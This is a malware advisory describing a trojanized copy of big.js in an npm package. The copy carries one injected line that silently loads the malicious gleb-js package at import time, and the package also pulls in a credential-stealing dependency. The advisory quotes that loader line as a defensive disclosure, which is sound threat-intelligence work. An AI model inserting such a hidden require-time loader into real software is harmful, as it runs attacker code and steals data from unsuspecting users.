GCVE-110-OSM-2026-3160

Executes attacker-controlled code at require-time by injecting a require("gleb-js") call inside a trojanized copy of big.js v7.0.1, loading a now-security-held malicious package that performed network exfiltration, while also declaring sibling credential-stealer api-node-utils as an explicit dependency. big.js (sha256: 9d5fa99697c3f96933cc21d9699682b93035fd715ae0432ef377508a7d9f1b9e) is a verbatim copy of legitimate big.js v7.0.1 with one line injected inside the outer IIFE between P.minus and P.mod prototype assignments: 'const doc = require("gleb-js"); doc.from_str().then(e => e).catch(e => { });'. This executes on any require('web-api-node') call. gleb-js (jamesjamesjmaes123 / al.la.n.h.o.rca07@gmail.com) was a malicious package performing network exfiltration; npm replaced it with a security holder (0.0.1-security) on 2026-04-25. Errors are suppressed silently. The package also declares api-node-utils@^2.2.4 (same publisher ffffrakyevin, confirmed credential stealer targeting polymarkettrading.vercel.app) as an explicit dependency, installing it automatically. No install hook — payload fires on first import. Publisher ffffrakyevin (frankykevin.dev@gmail.com) is on the DPRK DeceptiveDevelopment watchlist.